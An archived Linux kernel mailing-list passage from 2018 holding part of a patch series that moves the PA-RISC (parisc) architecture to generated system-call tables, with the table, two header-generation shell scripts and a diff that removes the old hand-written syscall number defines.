+185	common	semop			sys_semop
+186	common	semget			sys_semget
+187	common	semctl			sys_semctl			compat_sys_semctl
+188	common	msgsnd			sys_msgsnd			compat_sys_msgsnd
+189	common	msgrcv			sys_msgrcv			compat_sys_msgrcv
+190	common	msgget			sys_msgget
+191	common	msgctl			sys_msgctl			compat_sys_msgctl
+192	common	shmat			sys_shmat			compat_sys_shmat
+193	common	shmdt			sys_shmdt
+194	common	shmget			sys_shmget
+195	common	shmctl			sys_shmctl			compat_sys_shmctl
+# 196 was getpmsg
+# 197 was putpmsg
+198	common	lstat64			sys_lstat64
+199	32	truncate64		parisc_truncate64
+199	64	truncate64		sys_truncate64
+200	32	ftruncate64		parisc_ftruncate64
+200	64	ftruncate64		sys_ftruncate64
+201	common	getdents64		sys_getdents64
+202	common	fcntl64			sys_fcntl64			compat_sys_fcntl64
+# 203 was attrctl
+# 204 was acl_get
+# 205 was acl_set
+206	common	gettid			sys_gettid
+207	32	readahead		parisc_readahead
+207	64	readahead		sys_readahead
+208	common	tkill			sys_tkill
+209	common	sendfile64		sys_sendfile64			compat_sys_sendfile64
+210	common	futex			sys_futex			compat_sys_futex
+211	common	sched_setaffinity	sys_sched_setaffinity		compat_sys_sched_setaffinity
+212	common	sched_getaffinity	sys_sched_getaffinity		compat_sys_sched_getaffinity
+# 213 was set_thread_area
+# 214 was get_thread_area
+215	common	io_setup		sys_io_setup			compat_sys_io_setup
+216	common	io_destroy		sys_io_destroy
+217	common	io_getevents		sys_io_getevents		compat_sys_io_getevents
+218	common	io_submit		sys_io_submit			compat_sys_io_submit
+219	common	io_cancel		sys_io_cancel
+# 220 was alloc_hugepages
+# 221 was free_hugepages
+222	common	exit_group		sys_exit_group
+223	common	lookup_dcookie		sys_lookup_dcookie		compat_sys_lookup_dcookie
+224	common	epoll_create		sys_epoll_create
+225	common	epoll_ctl		sys_epoll_ctl
+226	common	epoll_wait		sys_epoll_wait
+227	common	remap_file_pages	sys_remap_file_pages
+228	common	semtimedop		sys_semtimedop			compat_sys_semtimedop
+229	common	mq_open			sys_mq_open			compat_sys_mq_open
+230	common	mq_unlink		sys_mq_unlink
+231	common	mq_timedsend		sys_mq_timedsend		compat_sys_mq_timedsend
+232	common	mq_timedreceive		sys_mq_timedreceive		compat_sys_mq_timedreceive
+233	common	mq_notify		sys_mq_notify			compat_sys_mq_notify
+234	common	mq_getsetattr		sys_mq_getsetattr		compat_sys_mq_getsetattr
+235	common	waitid			sys_waitid			compat_sys_waitid
+236	32	fadvise64_64		parisc_fadvise64_64
+236	64	fadvise64_64		sys_fadvise64_64
+237	common	set_tid_address		sys_set_tid_address
+238	common	setxattr		sys_setxattr
+239	common	lsetxattr		sys_lsetxattr
+240	common	fsetxattr		sys_fsetxattr
+241	common	getxattr		sys_getxattr
+242	common	lgetxattr		sys_lgetxattr
+243	common	fgetxattr		sys_fgetxattr
+244	common	listxattr		sys_listxattr
+245	common	llistxattr		sys_llistxattr
+246	common	flistxattr		sys_flistxattr
+247	common	removexattr		sys_removexattr
+248	common	lremovexattr		sys_lremovexattr
+249	common	fremovexattr		sys_fremovexattr
+250	common	timer_create		sys_timer_create		compat_sys_timer_create
+251	common	timer_settime		sys_timer_settime		compat_sys_timer_settime
+252	common	timer_gettime		sys_timer_gettime		compat_sys_timer_gettime
+253	common	timer_getoverrun	sys_timer_getoverrun
+254	common	timer_delete		sys_timer_delete
+255	common	clock_settime		sys_clock_settime		compat_sys_clock_settime
+256	common	clock_gettime		sys_clock_gettime		compat_sys_clock_gettime
+257	common	clock_getres		sys_clock_getres		compat_sys_clock_getres
+258	common	clock_nanosleep		sys_clock_nanosleep		compat_sys_clock_nanosleep
+259	common	tgkill			sys_tgkill
+260	common	mbind			sys_mbind			compat_sys_mbind
+261	common	get_mempolicy		sys_get_mempolicy		compat_sys_get_mempolicy
+262	common	set_mempolicy		sys_set_mempolicy		compat_sys_set_mempolicy
+# 263 was vserver
+264	common	add_key			sys_add_key
+265	common	request_key		sys_request_key
+266	common	keyctl			sys_keyctl			compat_sys_keyctl
+267	common	ioprio_set		sys_ioprio_set
+268	common	ioprio_get		sys_ioprio_get
+269	common	inotify_init		sys_inotify_init
+270	common	inotify_add_watch	sys_inotify_add_watch
+271	common	inotify_rm_watch	sys_inotify_rm_watch
+272	common	migrate_pages		sys_migrate_pages
+273	common	pselect6		sys_pselect6			compat_sys_pselect6
+274	common	ppoll			sys_ppoll			compat_sys_ppoll
+275	common	openat			sys_openat			compat_sys_openat
+276	common	mkdirat			sys_mkdirat
+277	common	mknodat			sys_mknodat
+278	common	fchownat		sys_fchownat
+279	common	futimesat		sys_futimesat			compat_sys_futimesat
+280	common	fstatat64		sys_fstatat64
+281	common	unlinkat		sys_unlinkat
+282	common	renameat		sys_renameat
+283	common	linkat			sys_linkat
+284	common	symlinkat		sys_symlinkat
+285	common	readlinkat		sys_readlinkat
+286	common	fchmodat		sys_fchmodat
+287	common	faccessat		sys_faccessat
+288	common	unshare			sys_unshare
+289	common	set_robust_list		sys_set_robust_list		compat_sys_set_robust_list
+290	common	get_robust_list		sys_get_robust_list		compat_sys_get_robust_list
+291	common	splice			sys_splice
+292	32	sync_file_range		parisc_sync_file_range
+292	64	sync_file_range		sys_sync_file_range
+293	common	tee			sys_tee
+294	common	vmsplice		sys_vmsplice			compat_sys_vmsplice
+295	common	move_pages		sys_move_pages			compat_sys_move_pages
+296	common	getcpu			sys_getcpu
+297	common	epoll_pwait		sys_epoll_pwait			compat_sys_epoll_pwait
+298	common	statfs64		sys_statfs64			compat_sys_statfs64
+299	common	fstatfs64		sys_fstatfs64			compat_sys_fstatfs64
+300	common	kexec_load		sys_kexec_load			compat_sys_kexec_load
+301	common	utimensat		sys_utimensat			compat_sys_utimensat
+302	common	signalfd		sys_signalfd			compat_sys_signalfd
+# 303 was timerfd
+304	common	eventfd			sys_eventfd
+305	32	fallocate		parisc_fallocate
+305	64	fallocate		sys_fallocate
+306	common	timerfd_create		sys_timerfd_create
+307	common	timerfd_settime		sys_timerfd_settime		compat_sys_timerfd_settime
+308	common	timerfd_gettime		sys_timerfd_gettime		compat_sys_timerfd_gettime
+309	common	signalfd4		sys_signalfd4			compat_sys_signalfd4
+310	common	eventfd2		sys_eventfd2
+311	common	epoll_create1		sys_epoll_create1
+312	common	dup3			sys_dup3
+313	common	pipe2			sys_pipe2
+314	common	inotify_init1		sys_inotify_init1
+315	common	preadv	sys_preadv	compat_sys_preadv
+316	common	pwritev	sys_pwritev	compat_sys_pwritev
+317	common	rt_tgsigqueueinfo	sys_rt_tgsigqueueinfo		compat_sys_rt_tgsigqueueinfo
+318	common	perf_event_open		sys_perf_event_open
+319	common	recvmmsg		sys_recvmmsg			compat_sys_recvmmsg
+320	common	accept4			sys_accept4
+321	common	prlimit64		sys_prlimit64
+322	common	fanotify_init		sys_fanotify_init
+323	common	fanotify_mark		sys_fanotify_mark		sys32_fanotify_mark
+324	common	clock_adjtime		sys_clock_adjtime		compat_sys_clock_adjtime
+325	common	name_to_handle_at	sys_name_to_handle_at
+326	common	open_by_handle_at	sys_open_by_handle_at		compat_sys_open_by_handle_at
+327	common	syncfs			sys_syncfs
+328	common	setns			sys_setns
+329	common	sendmmsg		sys_sendmmsg			compat_sys_sendmmsg
+330	common	process_vm_readv	sys_process_vm_readv		compat_sys_process_vm_readv
+331	common	process_vm_writev	sys_process_vm_writev		compat_sys_process_vm_writev
+332	common	kcmp			sys_kcmp
+333	common	finit_module		sys_finit_module
+334	common	sched_setattr		sys_sched_setattr
+335	common	sched_getattr		sys_sched_getattr
+336	common	utimes			sys_utimes			compat_sys_utimes
+337	common	renameat2		sys_renameat2
+338	common	seccomp			sys_seccomp
+339	common	getrandom		sys_getrandom
+340	common	memfd_create		sys_memfd_create
+341	common	bpf			sys_bpf
+342	common	execveat		sys_execveat			compat_sys_execveat
+343	common	membarrier		sys_membarrier
+344	common	userfaultfd		sys_userfaultfd
+345	common	mlock2			sys_mlock2
+346	common	copy_file_range		sys_copy_file_range
+347	common	preadv2			sys_preadv2			compat_sys_preadv2
+348	common	pwritev2		sys_pwritev2			compat_sys_pwritev2
+349	common	statx			sys_statx
+350	common	io_pgetevents		sys_io_pgetevents		compat_sys_io_pgetevents
diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
new file mode 100644
index 0000000..1bd164f
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
@@ -0,0 +1,34 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+prefix="$4"
+offset="$5"
+
+fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
+	-e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
+	-e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+	echo "#ifndef ${fileguard}"
+	echo "#define ${fileguard}"
+	echo ""
+
+	nxt=0
+	while read nr abi name entry compat ; do
+		if [ -z "$offset" ]; then
+			echo -e "#define __NR_${prefix}${name}\t$nr"
+		else
+			echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
+		fi
+		nxt=$((nr+1))
+	done
+
+	echo ""
+	echo "#ifdef __KERNEL__"
+	echo -e "#define __NR_syscalls\t$nxt"
+	echo "#endif"
+	echo ""
+	echo "#endif /* ${fileguard} */"
+) > "$out"
diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
new file mode 100644
index 0000000..1880051
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
@@ -0,0 +1,36 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+my_abi="$4"
+offset="$5"
+
+emit() {
+	nxt="$1"
+	nr="$2"
+	entry="$3"
+
+	while [ $nxt -lt $nr ]; do
+		echo "__SYSCALL($nxt, sys_ni_syscall, )"
+		nxt=$((nxt+1))
+	done
+	echo "__SYSCALL($nxt, $entry, )"
+}
+
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+	nxt=0
+	if [ -z "$offset" ]; then
+		offset=0
+	fi
+
+	while read nr abi name entry compat ; do
+		if [ "$my_abi" = "c32" ] && [ ! -z "$compat" ]; then
+			emit $((nxt+offset)) $((nr+offset)) $compat
+		else
+			emit $((nxt+offset)) $((nr+offset)) $entry
+		fi
+		nxt=$((nxt+1))
+	done
+) > "$out"
-- 
1.9.1



From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 4/5] parisc: uapi header and system call table file generation
Date: Tue, 16 Oct 2018 12:33:37 +0530
Lines: 943
Approved: news@gmane.org
Message-ID: <1539673418-7279-5-git-send-email-firoz.khan@linaro.org>
References: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539673348 23092 195.159.176.226 (16 Oct 2018 07:02:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 07:02:28 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 16 09:02:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCJN0-0005sa-0D
	for glk-linux-kernel-4@m.gmane.org; Tue, 16 Oct 2018 09:02:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727955AbeJPOxa (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 16 Oct 2018 10:53:30 -0400
Original-Received: from mail-pg1-f194.google.com ([209.85.215.194]:44418 "EHLO
        mail-pg1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727658AbeJPOx3 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 16 Oct 2018 10:53:29 -0400
Original-Received: by mail-pg1-f194.google.com with SMTP id g2-v6so10371700pgu.11
        for <linux-kernel@vger.kernel.org>; Tue, 16 Oct 2018 00:04:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=1WIfVQZqXDF2IXffz4zfWfV2K1eV74aFgDuG/X9u4gU=;
        b=D9ow//3DvEbmfnuUW81+v6NMTQHFccr/cAE6/Rhv7Gj6s76/LX317SU8Btl9uTemMa
         tnMP+uKOD6S5br6Vf0aL1fdUtKIW0j1WYNL4/dudJegiRIzi652l6vdIxR9tOfLaX8ai
         bFYwit8QB8FAnEsZBgq/eIkgAnA4lg1LAw3Po=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=1WIfVQZqXDF2IXffz4zfWfV2K1eV74aFgDuG/X9u4gU=;
        b=BG5jie05RNF9dqDozsYHV0ca4XWDfa4MWYv2J458UQkF2yhsfDj2F2AL6kxnujcULt
         I5QHz1Pd/UXLgT4MMQ5qC8QwYoGfHICi1ruW9ldAThrA7Y2MF2ZvfeFR8ce1JA77lPhd
         qv/6e4SQ+zbFvqtr2hONDj6hWShKpfAQ7Lj7H7WHl4bJM/WBBvpoK1glv1Rz3Cry0y15
         cDpbTDhnQaL+DNtCadbDBD+KWszDJZ03diu2CNqFvqS5IAPnAuwruuLMvMYgc09b4WON
         2mGdh8hLGeiy3gnd3a6KmPmCEmWfo/BOELG0QvcECEsGLGdAv4hqzMfXL/1jBYa1Xpi8
         3smw==
X-Gm-Message-State: ABuFfogeNHFj8q7Kxhl+NW9/LreO0QMPKm2EvbaNSeWiB2iLGJ5mOwGe
        KQNgzELjE7OCAa7u0aORwGM+snL2bqk=
X-Google-Smtp-Source: ACcGV60ATWnBXQnTuoti6ldjNTm9UNnxuKRlVbZN01UUOUe5gm/mvOU4od16Ii2yrpikgRdy9ehchA==
X-Received: by 2002:a63:608c:: with SMTP id u134-v6mr18720308pgb.266.1539673468648;
        Tue, 16 Oct 2018 00:04:28 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id u21-v6sm21775107pfa.176.2018.10.16.00.04.22
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 16 Oct 2018 00:04:28 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2900272 gmane.linux.ports.parisc:29199 gmane.linux.kernel.year-2038:3534 gmane.linux.kernel.cross-arch:47866
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2900272>

System call table generation script must be run to generate
unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
will have changes which will invokes the script.

This patch will generate unistd_32/64.h and syscall_table_
32/64/c32.h files by the syscall table generation script
invoked by arch/parisc/Makefile and the generated files against
the removed files will be identical.

The generated uapi header file will be included in uapi/asm/
unistd_32/64.h and generated system call table support file will
be included by kernel/syscall.S file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/Makefile                  |   4 +
 arch/parisc/include/asm/Kbuild        |   3 +
 arch/parisc/include/uapi/asm/Kbuild   |   2 +
 arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
 arch/parisc/kernel/syscall.S          |  10 +-
 arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
 6 files changed, 22 insertions(+), 829 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ce0302..6b217da 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -159,6 +159,10 @@ endef
 
 # we require gcc 3.3 or above to compile the kernel
 archprepare: checkbin
+
+archheaders:
+	$(Q)$(MAKE) $(build)=arch/parisc/kernel/syscalls all
+
 checkbin:
 	@if test "$(cc-version)" -lt "0303"; then \
 		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d63..6b66fb9 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -23,3 +23,6 @@ generic-y += user.h
 generic-y += vga.h
 generic-y += word-at-a-time.h
 generic-y += xor.h
+generic-y += syscall_table_32.h
+generic-y += syscall_table_64.h
+generic-y += syscall_table_c32.h
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 286ef5a..04360d9 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -7,3 +7,5 @@ generic-y += kvm_para.h
 generic-y += param.h
 generic-y += poll.h
 generic-y += resource.h
+generic-y += unistd_32.h
+generic-y += unistd_64.h
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index f10d065..518c1d6 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -2,374 +2,13 @@
 #ifndef _UAPI_ASM_PARISC_UNISTD_H_
 #define _UAPI_ASM_PARISC_UNISTD_H_
 
-/*
- * Linux system call numbers.
- *
- * Cary Coutant says that we should just use another syscall gateway
- * page to avoid clashing with the HPUX space, and I think he's right:
- * it will would keep a branch out of our syscall entry path, at the
- * very least.  If we decide to change it later, we can ``just'' tweak
- * the LINUX_GATEWAY_ADDR define at the bottom and make __NR_Linux be
- * 1024 or something.  Oh, and recompile libc. =)
- */
-
-#define __NR_Linux                0
-#define __NR_restart_syscall      (__NR_Linux + 0)
-#define __NR_exit                 (__NR_Linux + 1)
-#define __NR_fork                 (__NR_Linux + 2)
-#define __NR_read                 (__NR_Linux + 3)
-#define __NR_write                (__NR_Linux + 4)
-#define __NR_open                 (__NR_Linux + 5)
-#define __NR_close                (__NR_Linux + 6)
-#define __NR_waitpid              (__NR_Linux + 7)
-#define __NR_creat                (__NR_Linux + 8)
-#define __NR_link                 (__NR_Linux + 9)
-#define __NR_unlink              (__NR_Linux + 10)
-#define __NR_execve              (__NR_Linux + 11)
-#define __NR_chdir               (__NR_Linux + 12)
-#define __NR_time                (__NR_Linux + 13)
-#define __NR_mknod               (__NR_Linux + 14)
-#define __NR_chmod               (__NR_Linux + 15)
-#define __NR_lchown              (__NR_Linux + 16)
-#define __NR_socket              (__NR_Linux + 17)
-#define __NR_stat                (__NR_Linux + 18)
-#define __NR_lseek               (__NR_Linux + 19)
-#define __NR_getpid              (__NR_Linux + 20)
-#define __NR_mount               (__NR_Linux + 21)
-#define __NR_bind                (__NR_Linux + 22)
-#define __NR_setuid              (__NR_Linux + 23)
-#define __NR_getuid              (__NR_Linux + 24)
-#define __NR_stime               (__NR_Linux + 25)
-#define __NR_ptrace              (__NR_Linux + 26)
-#define __NR_alarm               (__NR_Linux + 27)
-#define __NR_fstat               (__NR_Linux + 28)
-#define __NR_pause               (__NR_Linux + 29)
-#define __NR_utime               (__NR_Linux + 30)
-#define __NR_connect             (__NR_Linux + 31)
-#define __NR_listen              (__NR_Linux + 32)
-#define __NR_access              (__NR_Linux + 33)
-#define __NR_nice                (__NR_Linux + 34)
-#define __NR_accept              (__NR_Linux + 35)
-#define __NR_sync                (__NR_Linux + 36)
-#define __NR_kill                (__NR_Linux + 37)
-#define __NR_rename              (__NR_Linux + 38)
-#define __NR_mkdir               (__NR_Linux + 39)
-#define __NR_rmdir               (__NR_Linux + 40)
-#define __NR_dup                 (__NR_Linux + 41)
-#define __NR_pipe                (__NR_Linux + 42)
-#define __NR_times               (__NR_Linux + 43)
-#define __NR_getsockname         (__NR_Linux + 44)
-#define __NR_brk                 (__NR_Linux + 45)
-#define __NR_setgid              (__NR_Linux + 46)
-#define __NR_getgid              (__NR_Linux + 47)
-#define __NR_signal              (__NR_Linux + 48)
-#define __NR_geteuid             (__NR_Linux + 49)
-#define __NR_getegid             (__NR_Linux + 50)
-#define __NR_acct                (__NR_Linux + 51)
-#define __NR_umount2             (__NR_Linux + 52)
-#define __NR_getpeername         (__NR_Linux + 53)
-#define __NR_ioctl               (__NR_Linux + 54)
-#define __NR_fcntl               (__NR_Linux + 55)
-#define __NR_socketpair          (__NR_Linux + 56)
-#define __NR_setpgid             (__NR_Linux + 57)
-#define __NR_send                (__NR_Linux + 58)
-#define __NR_uname               (__NR_Linux + 59)
-#define __NR_umask               (__NR_Linux + 60)
-#define __NR_chroot              (__NR_Linux + 61)
-#define __NR_ustat               (__NR_Linux + 62)
-#define __NR_dup2                (__NR_Linux + 63)
-#define __NR_getppid             (__NR_Linux + 64)
-#define __NR_getpgrp             (__NR_Linux + 65)
-#define __NR_setsid              (__NR_Linux + 66)
-#define __NR_pivot_root          (__NR_Linux + 67)
-#define __NR_sgetmask            (__NR_Linux + 68)
-#define __NR_ssetmask            (__NR_Linux + 69)
-#define __NR_setreuid            (__NR_Linux + 70)
-#define __NR_setregid            (__NR_Linux + 71)
-#define __NR_mincore             (__NR_Linux + 72)
-#define __NR_sigpending          (__NR_Linux + 73)
-#define __NR_sethostname         (__NR_Linux + 74)
-#define __NR_setrlimit           (__NR_Linux + 75)
-#define __NR_getrlimit           (__NR_Linux + 76)
-#define __NR_getrusage           (__NR_Linux + 77)
-#define __NR_gettimeofday        (__NR_Linux + 78)
-#define __NR_settimeofday        (__NR_Linux + 79)
-#define __NR_getgroups           (__NR_Linux + 80)
-#define __NR_setgroups           (__NR_Linux + 81)
-#define __NR_sendto              (__NR_Linux + 82)
-#define __NR_symlink             (__NR_Linux + 83)
-#define __NR_lstat               (__NR_Linux + 84)
-#define __NR_readlink            (__NR_Linux + 85)
-#define __NR_uselib              (__NR_Linux + 86)
-#define __NR_swapon              (__NR_Linux + 87)
-#define __NR_reboot              (__NR_Linux + 88)
-#define __NR_mmap2               (__NR_Linux + 89)
-#define __NR_mmap                (__NR_Linux + 90)
-#define __NR_munmap              (__NR_Linux + 91)
-#define __NR_truncate            (__NR_Linux + 92)
-#define __NR_ftruncate           (__NR_Linux + 93)
-#define __NR_fchmod              (__NR_Linux + 94)
-#define __NR_fchown              (__NR_Linux + 95)
-#define __NR_getpriority         (__NR_Linux + 96)
-#define __NR_setpriority         (__NR_Linux + 97)
-#define __NR_recv                (__NR_Linux + 98)
-#define __NR_statfs              (__NR_Linux + 99)
-#define __NR_fstatfs            (__NR_Linux + 100)
-#define __NR_stat64             (__NR_Linux + 101)
-/* #define __NR_socketcall         (__NR_Linux + 102) */
-#define __NR_syslog             (__NR_Linux + 103)
-#define __NR_setitimer          (__NR_Linux + 104)
-#define __NR_getitimer          (__NR_Linux + 105)
-#define __NR_capget             (__NR_Linux + 106)
-#define __NR_capset             (__NR_Linux + 107)
-#define __NR_pread64            (__NR_Linux + 108)
-#define __NR_pwrite64           (__NR_Linux + 109)
-#define __NR_getcwd             (__NR_Linux + 110)
-#define __NR_vhangup            (__NR_Linux + 111)
-#define __NR_fstat64            (__NR_Linux + 112)
-#define __NR_vfork              (__NR_Linux + 113)
-#define __NR_wait4              (__NR_Linux + 114)
-#define __NR_swapoff            (__NR_Linux + 115)
-#define __NR_sysinfo            (__NR_Linux + 116)
-#define __NR_shutdown           (__NR_Linux + 117)
-#define __NR_fsync              (__NR_Linux + 118)
-#define __NR_madvise            (__NR_Linux + 119)
-#define __NR_clone              (__NR_Linux + 120)
-#define __NR_setdomainname      (__NR_Linux + 121)
-#define __NR_sendfile           (__NR_Linux + 122)
-#define __NR_recvfrom           (__NR_Linux + 123)
-#define __NR_adjtimex           (__NR_Linux + 124)
-#define __NR_mprotect           (__NR_Linux + 125)
-#define __NR_sigprocmask        (__NR_Linux + 126)
-#define __NR_create_module      (__NR_Linux + 127) /* not used */
-#define __NR_init_module        (__NR_Linux + 128)
-#define __NR_delete_module      (__NR_Linux + 129)
-#define __NR_get_kernel_syms    (__NR_Linux + 130) /* not used */
-#define __NR_quotactl           (__NR_Linux + 131)
-#define __NR_getpgid            (__NR_Linux + 132)
-#define __NR_fchdir             (__NR_Linux + 133)
-#define __NR_bdflush            (__NR_Linux + 134)
-#define __NR_sysfs              (__NR_Linux + 135)
-#define __NR_personality        (__NR_Linux + 136)
-#define __NR_afs_syscall        (__NR_Linux + 137) /* not used */
-#define __NR_setfsuid           (__NR_Linux + 138)
-#define __NR_setfsgid           (__NR_Linux + 139)
-#define __NR__llseek            (__NR_Linux + 140)
-#define __NR_getdents           (__NR_Linux + 141)
-#define __NR__newselect         (__NR_Linux + 142)
-#define __NR_flock              (__NR_Linux + 143)
-#define __NR_msync              (__NR_Linux + 144)
-#define __NR_readv              (__NR_Linux + 145)
-#define __NR_writev             (__NR_Linux + 146)
-#define __NR_getsid             (__NR_Linux + 147)
-#define __NR_fdatasync          (__NR_Linux + 148)
-#define __NR__sysctl            (__NR_Linux + 149)
-#define __NR_mlock              (__NR_Linux + 150)
-#define __NR_munlock            (__NR_Linux + 151)
-#define __NR_mlockall           (__NR_Linux + 152)
-#define __NR_munlockall         (__NR_Linux + 153)
-#define __NR_sched_setparam             (__NR_Linux + 154)
-#define __NR_sched_getparam             (__NR_Linux + 155)
-#define __NR_sched_setscheduler         (__NR_Linux + 156)
-#define __NR_sched_getscheduler         (__NR_Linux + 157)
-#define __NR_sched_yield                (__NR_Linux + 158)
-#define __NR_sched_get_priority_max     (__NR_Linux + 159)
-#define __NR_sched_get_priority_min     (__NR_Linux + 160)
-#define __NR_sched_rr_get_interval      (__NR_Linux + 161)
-#define __NR_nanosleep          (__NR_Linux + 162)
-#define __NR_mremap             (__NR_Linux + 163)
-#define __NR_setresuid          (__NR_Linux + 164)
-#define __NR_getresuid          (__NR_Linux + 165)
-#define __NR_sigaltstack        (__NR_Linux + 166)
-#define __NR_query_module       (__NR_Linux + 167) /* not used */
-#define __NR_poll               (__NR_Linux + 168)
-#define __NR_nfsservctl         (__NR_Linux + 169) /* not used */
-#define __NR_setresgid          (__NR_Linux + 170)
-#define __NR_getresgid          (__NR_Linux + 171)
-#define __NR_prctl              (__NR_Linux + 172)
-#define __NR_rt_sigreturn       (__NR_Linux + 173)
-#define __NR_rt_sigaction       (__NR_Linux + 174)
-#define __NR_rt_sigprocmask     (__NR_Linux + 175)
-#define __NR_rt_sigpending      (__NR_Linux + 176)
-#define __NR_rt_sigtimedwait    (__NR_Linux + 177)
-#define __NR_rt_sigqueueinfo    (__NR_Linux + 178)
-#define __NR_rt_sigsuspend      (__NR_Linux + 179)
-#define __NR_chown              (__NR_Linux + 180)
-#define __NR_setsockopt         (__NR_Linux + 181)
-#define __NR_getsockopt         (__NR_Linux + 182)
-#define __NR_sendmsg            (__NR_Linux + 183)
-#define __NR_recvmsg            (__NR_Linux + 184)
-#define __NR_semop              (__NR_Linux + 185)
-#define __NR_semget             (__NR_Linux + 186)
-#define __NR_semctl             (__NR_Linux + 187)
-#define __NR_msgsnd             (__NR_Linux + 188)
-#define __NR_msgrcv             (__NR_Linux + 189)
-#define __NR_msgget             (__NR_Linux + 190)
-#define __NR_msgctl             (__NR_Linux + 191)
-#define __NR_shmat              (__NR_Linux + 192)
-#define __NR_shmdt              (__NR_Linux + 193)
-#define __NR_shmget             (__NR_Linux + 194)
-#define __NR_shmctl             (__NR_Linux + 195)
-#define __NR_getpmsg            (__NR_Linux + 196) /* not used */
-#define __NR_putpmsg            (__NR_Linux + 197) /* not used */
-#define __NR_lstat64            (__NR_Linux + 198)
-#define __NR_truncate64         (__NR_Linux + 199)
-#define __NR_ftruncate64        (__NR_Linux + 200)
-#define __NR_getdents64         (__NR_Linux + 201)
-#define __NR_fcntl64            (__NR_Linux + 202)
-#define __NR_attrctl            (__NR_Linux + 203) /* not used */
-#define __NR_acl_get            (__NR_Linux + 204) /* not used */
-#define __NR_acl_set            (__NR_Linux + 205) /* not used */
-#define __NR_gettid             (__NR_Linux + 206)
-#define __NR_readahead          (__NR_Linux + 207)
